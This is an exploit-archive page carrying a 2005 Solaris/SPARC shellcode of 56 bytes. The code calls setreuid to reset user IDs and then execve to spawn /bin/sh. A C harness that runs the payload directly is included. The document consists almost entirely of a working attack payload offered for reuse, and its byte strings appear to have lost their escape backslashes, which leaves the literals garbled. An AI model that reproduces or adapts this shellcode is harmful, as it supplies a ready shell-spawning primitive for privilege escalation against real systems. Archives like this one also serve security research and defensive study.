[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : solaris/sparc setreuid/execve 56 bytes
# Published : 2005-11-20
# Author : lhall
# Previous Title : sco/x86 execve("/bin/sh", ..., NULL); 43 bytes
# Next Title : solaris/sparc portbind (port 6666) 240 bytes


/*
 * lhall@telegenetic.net
 * setreuid shellcode
 * full description of how it was done and defines at
 * http://www.telegenetic.net/sparc-shellcode.htm
 */

char shellcode[] =
"x90x1Ax40x09"  /* xor %o1, %o1, %o0          */
"x92x1Ax40x09"  /* xor %o1, %o1, %o1          */
"x82x10x20xCA"  /* mov SYS_SETREUID(202), %g1 */
"x91xD0x20x08"  /* ta KERNEL(0x08)            */
"x21x0BxD8x9A"  /* sethi %hi(0x2f626900), %l0 */
"xA0x14x21x6E"  /* or %l0, %lo(0x16e), %l0    */
"x23x0BxDCxDA"  /* sethi %hi(0x2f736800), %l1 */
"xE0x3BxBFxF0"  /* std %l0, [%sp - 0x10]      */
"x90x23xA0x10"  /* sub %sp, 0x10, %o0         */
"xD0x23xBFxF8"  /* st  %o0, [%sp - 0x8]       */
"x92x23xA0x08"  /* sub %sp, 0x8, %o1          */
"x94x1Ax80x0A"  /* xor %o2, %o2, %o2          */
"x82x10x20x3B"  /* mov SYS_EXECVE(59), %g1    */
"x91xD0x20x08"; /* ta KERNEL(0x08)            */

int
main (int argc, char **argv)
{
       int (*ret)();
       ret = (int(*)())shellcode;
       (int)(*ret)();
       exit(0);
}

// www.Syue.com [2005-11-20]